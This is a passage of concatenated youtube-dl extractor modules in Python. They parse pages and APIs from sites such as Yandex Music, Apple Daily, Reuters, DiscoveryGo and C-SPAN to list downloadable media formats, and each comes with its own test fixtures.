                r'^(\d+)[pP]', source.get('label', ''), 'height', default=None),
        } for source in sources if source.get('file')]
        self._sort_formats(formats)

        title = self._html_search_regex(
            r'<title>([^<]+)\s*-\s*Sexu\.Com</title>', webpage, 'title')

        description = self._html_search_meta(
            'description', webpage, 'description')

        thumbnail = jwvideo.get('image')

        categories_str = self._html_search_meta(
            'keywords', webpage, 'categories')
        categories = (
            None if categories_str is None
            else categories_str.split(','))

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'categories': categories,
            'formats': formats,
            'age_limit': 18,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import unescapeHTML


class VODPlatformIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?vod-platform\.net/embed/(?P<id>[^/?#]+)'
    _TEST = {
        # from http://www.lbcgroup.tv/watch/chapter/29143/52844/%D8%A7%D9%84%D9%86%D8%B5%D8%B1%D8%A9-%D9%81%D9%8A-%D8%B6%D9%8A%D8%A7%D9%81%D8%A9-%D8%A7%D9%84%D9%80-cnn/ar
        'url': 'http://vod-platform.net/embed/RufMcytHDolTH1MuKHY9Fw',
        'md5': '1db2b7249ce383d6be96499006e951fc',
        'info_dict': {
            'id': 'RufMcytHDolTH1MuKHY9Fw',
            'ext': 'mp4',
            'title': 'LBCi News_ النصرة في ضيافة الـ "سي.أن.أن"',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = unescapeHTML(self._og_search_title(webpage))
        hidden_inputs = self._hidden_inputs(webpage)

        base_url = self._search_regex(
            '(.*/)(?:playlist.m3u8|manifest.mpd)',
            hidden_inputs.get('HiddenmyhHlsLink') or hidden_inputs['HiddenmyDashLink'],
            'base url')
        formats = self._extract_m3u8_formats(
            base_url + 'playlist.m3u8', video_id, 'mp4',
            'm3u8_native', m3u8_id='hls', fatal=False)
        formats.extend(self._extract_mpd_formats(
            base_url + 'manifest.mpd', video_id,
            mpd_id='dash', fatal=False))
        rtmp_formats = self._extract_smil_formats(
            base_url + 'jwplayer.smil', video_id, fatal=False)
        for rtmp_format in rtmp_formats:
            rtsp_format = rtmp_format.copy()
            rtsp_format['url'] = '%s/%s' % (rtmp_format['url'], rtmp_format['play_path'])
            del rtsp_format['play_path']
            del rtsp_format['ext']
            rtsp_format.update({
                'url': rtsp_format['url'].replace('rtmp://', 'rtsp://'),
                'format_id': rtmp_format['format_id'].replace('rtmp', 'rtsp'),
                'protocol': 'rtsp',
            })
            formats.extend([rtmp_format, rtsp_format])
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'thumbnail': hidden_inputs.get('HiddenThumbnail') or self._og_search_thumbnail(webpage),
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re
import hashlib

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    ExtractorError,
    int_or_none,
    float_or_none,
)


class YandexMusicBaseIE(InfoExtractor):
    @staticmethod
    def _handle_error(response):
        if isinstance(response, dict):
            error = response.get('error')
            if error:
                raise ExtractorError(error, expected=True)
            if response.get('type') == 'captcha' or 'captcha' in response:
                YandexMusicBaseIE._raise_captcha()

    @staticmethod
    def _raise_captcha():
        raise ExtractorError(
            'YandexMusic has considered youtube-dl requests automated and '
            'asks you to solve a CAPTCHA. You can either wait for some '
            'time until unblocked and optionally use --sleep-interval '
            'in future or alternatively you can go to https://music.yandex.ru/ '
            'solve CAPTCHA, then export cookies and pass cookie file to '
            'youtube-dl with --cookies',
            expected=True)

    def _download_webpage(self, *args, **kwargs):
        webpage = super(YandexMusicBaseIE, self)._download_webpage(*args, **kwargs)
        if 'Нам очень жаль, но&nbsp;запросы, поступившие с&nbsp;вашего IP-адреса, похожи на&nbsp;автоматические.' in webpage:
            self._raise_captcha()
        return webpage

    def _download_json(self, *args, **kwargs):
        response = super(YandexMusicBaseIE, self)._download_json(*args, **kwargs)
        self._handle_error(response)
        return response


class YandexMusicTrackIE(YandexMusicBaseIE):
    IE_NAME = 'yandexmusic:track'
    IE_DESC = 'Яндекс.Музыка - Трек'
    _VALID_URL = r'https?://music\.yandex\.(?:ru|kz|ua|by)/album/(?P<album_id>\d+)/track/(?P<id>\d+)'

    _TEST = {
        'url': 'http://music.yandex.ru/album/540508/track/4878838',
        'md5': 'f496818aa2f60b6c0062980d2e00dc20',
        'info_dict': {
            'id': '4878838',
            'ext': 'mp3',
            'title': 'Carlo Ambrosio & Fabio Di Bari, Carlo Ambrosio - Gypsy Eyes 1',
            'filesize': 4628061,
            'duration': 193.04,
            'track': 'Gypsy Eyes 1',
            'album': 'Gypsy Soul',
            'album_artist': 'Carlo Ambrosio',
            'artist': 'Carlo Ambrosio & Fabio Di Bari, Carlo Ambrosio',
            'release_year': '2009',
        },
        'skip': 'Travis CI servers blocked by YandexMusic',
    }

    def _get_track_url(self, storage_dir, track_id):
        data = self._download_json(
            'http://music.yandex.ru/api/v1.5/handlers/api-jsonp.jsx?action=getTrackSrc&p=download-info/%s'
            % storage_dir,
            track_id, 'Downloading track location JSON')

        # Each string is now wrapped in a list, this is probably only temporarily thus
        # supporting both scenarios (see https://github.com/rg3/youtube-dl/issues/10193)
        for k, v in data.items():
            if v and isinstance(v, list):
                data[k] = v[0]

        key = hashlib.md5(('XGRlBW9FXlekgbPrRHuSiA' + data['path'][1:] + data['s']).encode('utf-8')).hexdigest()
        storage = storage_dir.split('.')

        return ('http://%s/get-mp3/%s/%s?track-id=%s&from=service-10-track&similarities-experiment=default'
                % (data['host'], key, data['ts'] + data['path'], storage[1]))

    def _get_track_info(self, track):
        thumbnail = None
        cover_uri = track.get('albums', [{}])[0].get('coverUri')
        if cover_uri:
            thumbnail = cover_uri.replace('%%', 'orig')
            if not thumbnail.startswith('http'):
                thumbnail = 'http://' + thumbnail

        track_title = track['title']
        track_info = {
            'id': track['id'],
            'ext': 'mp3',
            'url': self._get_track_url(track['storageDir'], track['id']),
            'filesize': int_or_none(track.get('fileSize')),
            'duration': float_or_none(track.get('durationMs'), 1000),
            'thumbnail': thumbnail,
            'track': track_title,
        }

        def extract_artist(artist_list):
            if artist_list and isinstance(artist_list, list):
                artists_names = [a['name'] for a in artist_list if a.get('name')]
                if artists_names:
                    return ', '.join(artists_names)

        albums = track.get('albums')
        if albums and isinstance(albums, list):
            album = albums[0]
            if isinstance(album, dict):
                year = album.get('year')
                track_info.update({
                    'album': album.get('title'),
                    'album_artist': extract_artist(album.get('artists')),
                    'release_year': compat_str(year) if year else None,
                })

        track_artist = extract_artist(track.get('artists'))
        if track_artist:
            track_info.update({
                'artist': track_artist,
                'title': '%s - %s' % (track_artist, track_title),
            })
        else:
            track_info['title'] = track_title
        return track_info

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        album_id, track_id = mobj.group('album_id'), mobj.group('id')

        track = self._download_json(
            'http://music.yandex.ru/handlers/track.jsx?track=%s:%s' % (track_id, album_id),
            track_id, 'Downloading track JSON')['track']

        return self._get_track_info(track)


class YandexMusicPlaylistBaseIE(YandexMusicBaseIE):
    def _build_playlist(self, tracks):
        return [
            self.url_result(
                'http://music.yandex.ru/album/%s/track/%s' % (track['albums'][0]['id'], track['id']))
            for track in tracks if track.get('albums') and isinstance(track.get('albums'), list)]


class YandexMusicAlbumIE(YandexMusicPlaylistBaseIE):
    IE_NAME = 'yandexmusic:album'
    IE_DESC = 'Яндекс.Музыка - Альбом'
    _VALID_URL = r'https?://music\.yandex\.(?:ru|kz|ua|by)/album/(?P<id>\d+)/?(\?|$)'

    _TEST = {
        'url': 'http://music.yandex.ru/album/540508',
        'info_dict': {
            'id': '540508',
            'title': 'Carlo Ambrosio - Gypsy Soul (2009)',
        },
        'playlist_count': 50,
        'skip': 'Travis CI servers blocked by YandexMusic',
    }

    def _real_extract(self, url):
        album_id = self._match_id(url)

        album = self._download_json(
            'http://music.yandex.ru/handlers/album.jsx?album=%s' % album_id,
            album_id, 'Downloading album JSON')

        entries = self._build_playlist(album['volumes'][0])

        title = '%s - %s' % (album['artists'][0]['name'], album['title'])
        year = album.get('year')
        if year:
            title += ' (%s)' % year

        return self.playlist_result(entries, compat_str(album['id']), title)


class YandexMusicPlaylistIE(YandexMusicPlaylistBaseIE):
    IE_NAME = 'yandexmusic:playlist'
    IE_DESC = 'Яндекс.Музыка - Плейлист'
    _VALID_URL = r'https?://music\.yandex\.(?P<tld>ru|kz|ua|by)/users/(?P<user>[^/]+)/playlists/(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://music.yandex.ru/users/music.partners/playlists/1245',
        'info_dict': {
            'id': '1245',
            'title': 'Что слушают Enter Shikari',
            'description': 'md5:3b9f27b0efbe53f2ee1e844d07155cc9',
        },
        'playlist_count': 6,
        'skip': 'Travis CI servers blocked by YandexMusic',
    }, {
        # playlist exceeding the limit of 150 tracks shipped with webpage (see
        # https://github.com/rg3/youtube-dl/issues/6666)
        'url': 'https://music.yandex.ru/users/ya.playlist/playlists/1036',
        'info_dict': {
            'id': '1036',
            'title': 'Музыка 90-х',
        },
        'playlist_mincount': 300,
        'skip': 'Travis CI servers blocked by YandexMusic',
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        tld = mobj.group('tld')
        user = mobj.group('user')
        playlist_id = mobj.group('id')

        playlist = self._download_json(
            'https://music.yandex.%s/handlers/playlist.jsx' % tld,
            playlist_id, 'Downloading missing tracks JSON',
            fatal=False,
            headers={
                'Referer': url,
                'X-Requested-With': 'XMLHttpRequest',
                'X-Retpath-Y': url,
            },
            query={
                'owner': user,
                'kinds': playlist_id,
                'light': 'true',
                'lang': tld,
                'external-domain': 'music.yandex.%s' % tld,
                'overembed': 'false',
            })['playlist']

        tracks, track_ids = playlist['tracks'], map(compat_str, playlist['trackIds'])

        # tracks dictionary shipped with playlist.jsx API is limited to 150 tracks,
        # missing tracks should be retrieved manually.
        if len(tracks) < len(track_ids):
            present_track_ids = set([
                compat_str(track['id'])
                for track in tracks if track.get('id')])
            missing_track_ids = [
                track_id for track_id in track_ids
                if track_id not in present_track_ids]
            missing_tracks = self._download_json(
                'https://music.yandex.%s/handlers/track-entries.jsx' % tld,
                playlist_id, 'Downloading missing tracks JSON',
                fatal=False,
                headers={
                    'Referer': url,
                    'X-Requested-With': 'XMLHttpRequest',
                },
                query={
                    'entries': ','.join(missing_track_ids),
                    'lang': tld,
                    'external-domain': 'music.yandex.%s' % tld,
                    'overembed': 'false',
                    'strict': 'true',
                })
            if missing_tracks:
                tracks.extend(missing_tracks)

        return self.playlist_result(
            self._build_playlist(tracks),
            compat_str(playlist_id),
            playlist.get('title'), playlist.get('description'))






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import parse_iso8601


class NextMediaIE(InfoExtractor):
    IE_DESC = '蘋果日報'
    _VALID_URL = r'https?://hk.apple.nextmedia.com/[^/]+/[^/]+/(?P<date>\d+)/(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://hk.apple.nextmedia.com/realtime/news/20141108/53109199',
        'md5': 'dff9fad7009311c421176d1ac90bfe4f',
        'info_dict': {
            'id': '53109199',
            'ext': 'mp4',
            'title': '【佔領金鐘】50外國領事議員撐場 讚學生勇敢香港有希望',
            'thumbnail': 're:^https?://.*\.jpg$',
            'description': 'md5:28222b9912b6665a21011b034c70fcc7',
            'timestamp': 1415456273,
            'upload_date': '20141108',
        }
    }]

    _URL_PATTERN = r'\{ url: \'(.+)\' \}'

    def _real_extract(self, url):
        news_id = self._match_id(url)
        page = self._download_webpage(url, news_id)
        return self._extract_from_nextmedia_page(news_id, url, page)

    def _extract_from_nextmedia_page(self, news_id, url, page):
        title = self._fetch_title(page)
        video_url = self._search_regex(self._URL_PATTERN, page, 'video url')

        attrs = {
            'id': news_id,
            'title': title,
            'url': video_url,  # ext can be inferred from url
            'thumbnail': self._fetch_thumbnail(page),
            'description': self._fetch_description(page),
        }

        timestamp = self._fetch_timestamp(page)
        if timestamp:
            attrs['timestamp'] = timestamp
        else:
            attrs['upload_date'] = self._fetch_upload_date(url)

        return attrs

    def _fetch_title(self, page):
        return self._og_search_title(page)

    def _fetch_thumbnail(self, page):
        return self._og_search_thumbnail(page)

    def _fetch_timestamp(self, page):
        dateCreated = self._search_regex('"dateCreated":"([^"]+)"', page, 'created time')
        return parse_iso8601(dateCreated)

    def _fetch_upload_date(self, url):
        return self._search_regex(self._VALID_URL, url, 'upload date', group='date')

    def _fetch_description(self, page):
        return self._og_search_property('description', page)


class NextMediaActionNewsIE(NextMediaIE):
    IE_DESC = '蘋果日報 - 動新聞'
    _VALID_URL = r'https?://hk.dv.nextmedia.com/actionnews/[^/]+/(?P<date>\d+)/(?P<id>\d+)/\d+'
    _TESTS = [{
        'url': 'http://hk.dv.nextmedia.com/actionnews/hit/20150121/19009428/20061460',
        'md5': '05fce8ffeed7a5e00665d4b7cf0f9201',
        'info_dict': {
            'id': '19009428',
            'ext': 'mp4',
            'title': '【壹週刊】細10年男友偷食　50歲邵美琪再失戀',
            'thumbnail': 're:^https?://.*\.jpg$',
            'description': 'md5:cd802fad1f40fd9ea178c1e2af02d659',
            'timestamp': 1421791200,
            'upload_date': '20150120',
        }
    }]

    def _real_extract(self, url):
        news_id = self._match_id(url)
        actionnews_page = self._download_webpage(url, news_id)
        article_url = self._og_search_url(actionnews_page)
        article_page = self._download_webpage(article_url, news_id)
        return self._extract_from_nextmedia_page(news_id, url, article_page)


class AppleDailyIE(NextMediaIE):
    IE_DESC = '臺灣蘋果日報'
    _VALID_URL = r'https?://(www|ent).appledaily.com.tw/(?:animation|appledaily|enews|realtimenews)/[^/]+/[^/]+/(?P<date>\d+)/(?P<id>\d+)(/.*)?'
    _TESTS = [{
        'url': 'http://ent.appledaily.com.tw/enews/article/entertainment/20150128/36354694',
        'md5': 'a843ab23d150977cc55ef94f1e2c1e4d',
        'info_dict': {
            'id': '36354694',
            'ext': 'mp4',
            'title': '周亭羽走過摩鐵陰霾2男陪吃 九把刀孤寒看醫生',
            'thumbnail': 're:^https?://.*\.jpg$',
            'description': 'md5:2acd430e59956dc47cd7f67cb3c003f4',
            'upload_date': '20150128',
        }
    }, {
        'url': 'http://www.appledaily.com.tw/realtimenews/article/strange/20150128/550549/%E4%B8%8D%E6%BB%BF%E8%A2%AB%E8%B8%A9%E8%85%B3%E3%80%80%E5%B1%B1%E6%9D%B1%E5%85%A9%E5%A4%A7%E5%AA%BD%E4%B8%80%E8%B7%AF%E6%89%93%E4%B8%8B%E8%BB%8A',
        'md5': '86b4e9132d158279c7883822d94ccc49',
        'info_dict': {
            'id': '550549',
            'ext': 'mp4',
            'title': '不滿被踩腳　山東兩大媽一路打下車',
            'thumbnail': 're:^https?://.*\.jpg$',
            'description': 'md5:175b4260c1d7c085993474217e4ab1b4',
            'upload_date': '20150128',
        }
    }, {
        'url': 'http://www.appledaily.com.tw/animation/realtimenews/new/20150128/5003671',
        'md5': '03df296d95dedc2d5886debbb80cb43f',
        'info_dict': {
            'id': '5003671',
            'ext': 'mp4',
            'title': '20正妹熱舞　《刀龍傳說Online》火辣上市',
            'thumbnail': 're:^https?://.*\.jpg$',
            'description': 'md5:23c0aac567dc08c9c16a3161a2c2e3cd',
            'upload_date': '20150128',
        },
        'skip': 'redirect to http://www.appledaily.com.tw/animation/',
    }, {
        # No thumbnail
        'url': 'http://www.appledaily.com.tw/animation/realtimenews/new/20150128/5003673/',
        'md5': 'b06182cd386ea7bc6115ec7ff0f72aeb',
        'info_dict': {
            'id': '5003673',
            'ext': 'mp4',
            'title': '半夜尿尿　好像會看到___',
            'description': 'md5:61d2da7fe117fede148706cdb85ac066',
            'upload_date': '20150128',
        },
        'expected_warnings': [
            'video thumbnail',
        ],
        'skip': 'redirect to http://www.appledaily.com.tw/animation/',
    }, {
        'url': 'http://www.appledaily.com.tw/appledaily/article/supplement/20140417/35770334/',
        'md5': 'eaa20e6b9df418c912d7f5dec2ba734d',
        'info_dict': {
            'id': '35770334',
            'ext': 'mp4',
            'title': '咖啡占卜測 XU裝熟指數',
            'thumbnail': 're:^https?://.*\.jpg$',
            'description': 'md5:7b859991a6a4fedbdf3dd3b66545c748',
            'upload_date': '20140417',
        },
    }]

    _URL_PATTERN = r'\{url: \'(.+)\'\}'

    def _fetch_title(self, page):
        return (self._html_search_regex(r'<h1 id="h1">([^<>]+)</h1>', page, 'news title', default=None) or
                self._html_search_meta('description', page, 'news title'))

    def _fetch_thumbnail(self, page):
        return self._html_search_regex(r"setInitialImage\(\'([^']+)'\)", page, 'video thumbnail', fatal=False)

    def _fetch_timestamp(self, page):
        return None

    def _fetch_description(self, page):
        return self._html_search_meta('description', page, 'news description')






from __future__ import unicode_literals

from .common import InfoExtractor


class EngadgetIE(InfoExtractor):
    _VALID_URL = r'https?://www.engadget.com/video/(?P<id>[^/?#]+)'

    _TESTS = [{
        # video with 5min ID
        'url': 'http://www.engadget.com/video/518153925/',
        'md5': 'c6820d4828a5064447a4d9fc73f312c9',
        'info_dict': {
            'id': '518153925',
            'ext': 'mp4',
            'title': 'Samsung Galaxy Tab Pro 8.4 Review',
        },
        'add_ie': ['FiveMin'],
    }, {
        # video with vidible ID
        'url': 'https://www.engadget.com/video/57a28462134aa15a39f0421a/',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        return self.url_result('aol-video:%s' % video_id)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    js_to_json,
    int_or_none,
    unescapeHTML,
)


class ReutersIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?reuters\.com/.*?\?.*?videoId=(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.reuters.com/video/2016/05/20/san-francisco-police-chief-resigns?videoId=368575562',
        'md5': '8015113643a0b12838f160b0b81cc2ee',
        'info_dict': {
            'id': '368575562',
            'ext': 'mp4',
            'title': 'San Francisco police chief resigns',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(
            'http://www.reuters.com/assets/iframe/yovideo?videoId=%s' % video_id, video_id)
        video_data = js_to_json(self._search_regex(
            r'(?s)Reuters\.yovideo\.drawPlayer\(({.*?})\);',
            webpage, 'video data'))

        def get_json_value(key, fatal=False):
            return self._search_regex('"%s"\s*:\s*"([^"]+)"' % key, video_data, key, fatal=fatal)

        title = unescapeHTML(get_json_value('title', fatal=True))
        mmid, fid = re.search(r',/(\d+)\?f=(\d+)', get_json_value('flv', fatal=True)).groups()

        mas_data = self._download_json(
            'http://mas-e.cds1.yospace.com/mas/%s/%s?trans=json' % (mmid, fid),
            video_id, transform_source=js_to_json)
        formats = []
        for f in mas_data:
            f_url = f.get('url')
            if not f_url:
                continue
            method = f.get('method')
            if method == 'hls':
                formats.extend(self._extract_m3u8_formats(
                    f_url, video_id, 'mp4', 'm3u8_native', m3u8_id='hls', fatal=False))
            else:
                container = f.get('container')
                ext = '3gp' if method == 'mobile' else container
                formats.append({
                    'format_id': ext,
                    'url': f_url,
                    'ext': ext,
                    'container': container if method != 'mobile' else None,
                })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'thumbnail': get_json_value('thumb'),
            'duration': int_or_none(get_json_value('seconds')),
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor


class SpankBangIE(InfoExtractor):
    _VALID_URL = r'https?://(?:(?:www|[a-z]{2})\.)?spankbang\.com/(?P<id>[\da-z]+)/video'
    _TESTS = [{
        'url': 'http://spankbang.com/3vvn/video/fantasy+solo',
        'md5': '1cc433e1d6aa14bc376535b8679302f7',
        'info_dict': {
            'id': '3vvn',
            'ext': 'mp4',
            'title': 'fantasy solo',
            'description': 'dillion harper masturbates on a bed',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'silly2587',
            'age_limit': 18,
        }
    }, {
        # 480p only
        'url': 'http://spankbang.com/1vt0/video/solvane+gangbang',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        stream_key = self._html_search_regex(
            r'''var\s+stream_key\s*=\s*['"](.+?)['"]''',
            webpage, 'stream key')

        formats = [{
            'url': 'http://spankbang.com/_%s/%s/title/%sp__mp4' % (video_id, stream_key, height),
            'ext': 'mp4',
            'format_id': '%sp' % height,
            'height': int(height),
        } for height in re.findall(r'<(?:span|li|p)[^>]+[qb]_(\d+)p', webpage)]
        self._check_formats(formats, video_id)
        self._sort_formats(formats)

        title = self._html_search_regex(
            r'(?s)<h1[^>]*>(.+?)</h1>', webpage, 'title')
        description = self._search_regex(
            r'class="desc"[^>]*>([^<]+)',
            webpage, 'description', default=None)
        thumbnail = self._og_search_thumbnail(webpage)
        uploader = self._search_regex(
            r'class="user"[^>]*>([^<]+)',
            webpage, 'uploader', fatal=False)

        age_limit = self._rta_search(webpage)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'formats': formats,
            'age_limit': age_limit,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import int_or_none


class MinotoIE(InfoExtractor):
    _VALID_URL = r'(?:minoto:|https?://(?:play|iframe|embed)\.minoto-video\.com/(?P<player_id>[0-9]+)/)(?P<id>[a-zA-Z0-9]+)'

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        player_id = mobj.group('player_id') or '1'
        video_id = mobj.group('id')
        video_data = self._download_json('http://play.minoto-video.com/%s/%s.js' % (player_id, video_id), video_id)
        video_metadata = video_data['video-metadata']
        formats = []
        for fmt in video_data['video-files']:
            fmt_url = fmt.get('url')
            if not fmt_url:
                continue
            container = fmt.get('container')
            if container == 'hls':
                formats.extend(fmt_url, video_id, 'mp4', m3u8_id='hls', fatal=False)
            else:
                fmt_profile = fmt.get('profile') or {}
                f = {
                    'format_id': fmt_profile.get('name-short'),
                    'format_note': fmt_profile.get('name'),
                    'url': fmt_url,
                    'container': container,
                    'tbr': int_or_none(fmt.get('bitrate')),
                    'filesize': int_or_none(fmt.get('filesize')),
                    'width': int_or_none(fmt.get('width')),
                    'height': int_or_none(fmt.get('height')),
                }
                codecs = fmt.get('codecs')
                if codecs:
                    codecs = codecs.split(',')
                    if len(codecs) == 2:
                        f.update({
                            'vcodec': codecs[0],
                            'acodec': codecs[1],
                        })
                formats.append(f)
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': video_metadata['title'],
            'description': video_metadata.get('description'),
            'thumbnail': video_metadata.get('video-poster', {}).get('url'),
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from .brightcove import BrightcoveLegacyIE
from ..compat import compat_parse_qs


class TheStarIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?thestar\.com/(?:[^/]+/)*(?P<id>.+)\.html'
    _TEST = {
        'url': 'http://www.thestar.com/life/2016/02/01/mankind-why-this-woman-started-a-men-s-skincare-line.html',
        'md5': '2c62dd4db2027e35579fefb97a8b6554',
        'info_dict': {
            'id': '4732393888001',
            'ext': 'mp4',
            'title': 'Mankind: Why this woman started a men\'s skin care line',
            'description': 'Robert Cribb talks to Young Lee, the founder of Uncle Peter\'s MAN.',
            'uploader_id': '794267642001',
            'timestamp': 1454353482,
            'upload_date': '20160201',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        }
    }
    BRIGHTCOVE_URL_TEMPLATE = 'http://players.brightcove.net/794267642001/default_default/index.html?videoId=%s'

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        brightcove_legacy_url = BrightcoveLegacyIE._extract_brightcove_url(webpage)
        brightcove_id = compat_parse_qs(brightcove_legacy_url)['@videoPlayer'][0]
        return self.url_result(self.BRIGHTCOVE_URL_TEMPLATE % brightcove_id, 'BrightcoveNew', brightcove_id)






from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    extract_attributes,
    int_or_none,
    parse_age_limit,
    unescapeHTML,
)


class DiscoveryGoIE(InfoExtractor):
    _VALID_URL = r'''(?x)https?://(?:www\.)?(?:
            discovery|
            investigationdiscovery|
            discoverylife|
            animalplanet|
            ahctv|
            destinationamerica|
            sciencechannel|
            tlc|
            velocitychannel
        )go\.com/(?:[^/]+/)*(?P<id>[^/?#&]+)'''
    _TEST = {
        'url': 'https://www.discoverygo.com/love-at-first-kiss/kiss-first-ask-questions-later/',
        'info_dict': {
            'id': '57a33c536b66d1cd0345eeb1',
            'ext': 'mp4',
            'title': 'Kiss First, Ask Questions Later!',
            'description': 'md5:fe923ba34050eae468bffae10831cb22',
            'duration': 2579,
            'series': 'Love at First Kiss',
            'season_number': 1,
            'episode_number': 1,
            'age_limit': 14,
        },
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        container = extract_attributes(
            self._search_regex(
                r'(<div[^>]+class=["\']video-player-container[^>]+>)',
                webpage, 'video container'))

        video = self._parse_json(
            unescapeHTML(container.get('data-video') or container.get('data-json')),
            display_id)

        title = video['name']

        stream = video['stream']
        STREAM_URL_SUFFIX = 'streamUrl'
        formats = []
        for stream_kind in ('', 'hds'):
            suffix = STREAM_URL_SUFFIX.capitalize() if stream_kind else STREAM_URL_SUFFIX
            stream_url = stream.get('%s%s' % (stream_kind, suffix))
            if not stream_url:
                continue
            if stream_kind == '':
                formats.extend(self._extract_m3u8_formats(
                    stream_url, display_id, 'mp4', entry_protocol='m3u8_native',
                    m3u8_id='hls', fatal=False))
            elif stream_kind == 'hds':
                formats.extend(self._extract_f4m_formats(
                    stream_url, display_id, f4m_id=stream_kind, fatal=False))
        self._sort_formats(formats)

        video_id = video.get('id') or display_id
        description = video.get('description', {}).get('detailed')
        duration = int_or_none(video.get('duration'))

        series = video.get('show', {}).get('name')
        season_number = int_or_none(video.get('season', {}).get('number'))
        episode_number = int_or_none(video.get('episodeNumber'))

        tags = video.get('tags')
        age_limit = parse_age_limit(video.get('parental', {}).get('rating'))

        subtitles = {}
        captions = stream.get('captions')
        if isinstance(captions, list):
            for caption in captions:
                subtitle_url = caption.get('fileUrl')
                if (not subtitle_url or not isinstance(subtitle_url, compat_str) or
                        not subtitle_url.startswith('http')):
                    continue
                lang = caption.get('fileLang', 'en')
                subtitles.setdefault(lang, []).append({'url': subtitle_url})

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'duration': duration,
            'series': series,
            'season_number': season_number,
            'episode_number': episode_number,
            'tags': tags,
            'age_limit': age_limit,
            'formats': formats,
            'subtitles': subtitles,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    unescapeHTML,
    find_xpath_attr,
    smuggle_url,
    determine_ext,
    ExtractorError,
)
from .senateisvp import SenateISVPIE


class CSpanIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?c-span\.org/video/\?(?P<id>[0-9a-f]+)'
    IE_DESC = 'C-SPAN'
    _TESTS = [{
        'url': 'http://www.c-span.org/video/?313572-1/HolderonV',
        'md5': '94b29a4f131ff03d23471dd6f60b6a1d',
        'info_dict': {
            'id': '315139',
            'ext': 'mp4',
            'title': 'Attorney General Eric Holder on Voting Rights Act Decision',
            'description': 'Attorney General Eric Holder speaks to reporters following the Supreme Court decision in [Shelby County v. Holder], in which the court ruled that the preclearance provisions of the Voting Rights Act could not be enforced.',
        },
        'skip': 'Regularly fails on travis, for unknown reasons',
    }, {
        'url': 'http://www.c-span.org/video/?c4486943/cspan-international-health-care-models',
        'md5': '8e5fbfabe6ad0f89f3012a7943c1287b',
        'info_dict': {
            'id': 'c4486943',
            'ext': 'mp4',
            'title': 'CSPAN - International Health Care Models',
            'description': 'md5:7a985a2d595dba00af3d9c9f0783c967',
        }
    }, {
        'url': 'http://www.c-span.org/video/?318608-1/gm-ignition-switch-recall',
        'md5': '2ae5051559169baadba13fc35345ae74',
        'info_dict': {
            'id': '342759',
            'ext': 'mp4',
            'title': 'General Motors Ignition Switch Recall',
            'duration': 14848,
            'description': 'md5:118081aedd24bf1d3b68b3803344e7f3'
        },
    }, {
        # Video from senate.gov
        'url': 'http://www.c-span.org/video/?104517-1/immigration-reforms-needed-protect-skilled-american-workers',
        'info_dict': {
            'id': 'judiciary031715',
            'ext': 'mp4',
            'title': 'Immigration Reforms Needed to Protect Skilled American Workers',
        },
        'params': {
            'skip_download': True,  # m3u8 downloads
        }
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        video_type = None
        webpage = self._download_webpage(url, video_id)
        # We first look for clipid, because clipprog always appears before
        patterns = [r'id=\'clip(%s)\'\s*value=\'([0-9]+)\'' % t for t in ('id', 'prog')]
        results = list(filter(None, (re.search(p, webpage) for p in patterns)))
        if results:
            matches = results[0]
            video_type, video_id = matches.groups()
            video_type = 'clip' if video_type == 'id' else 'program'
        else:
            m = re.search(r'data-(?P<type>clip|prog)id=["\'](?P<id>\d+)', webpage)
            if m:
                video_id = m.group('id')
                video_type = 'program' if m.group('type') == 'prog' else 'clip'
            else:
                senate_isvp_url = SenateISVPIE._search_iframe_url(webpage)
                if senate_isvp_url:
                    title = self._og_search_title(webpage)
                    surl = smuggle_url(senate_isvp_url, {'force_title': title})
                    return self.url_result(surl, 'SenateISVP', video_id, title)
        if video_type is None or video_id is None:
            raise ExtractorError('unable to find video id and type')

        def get_text_attr(d, attr):
            return d.get(attr, {}).get('#text')

        data = self._download_json(
            'http://www.c-span.org/assets/player/ajax-player.php?os=android&html5=%s&id=%s' % (video_type, video_id),
            video_id)['video']
        if data['@status'] != 'Success':
            raise ExtractorError('%s said: %s' % (self.IE_NAME, get_text_attr(data, 'error')), expected=True)

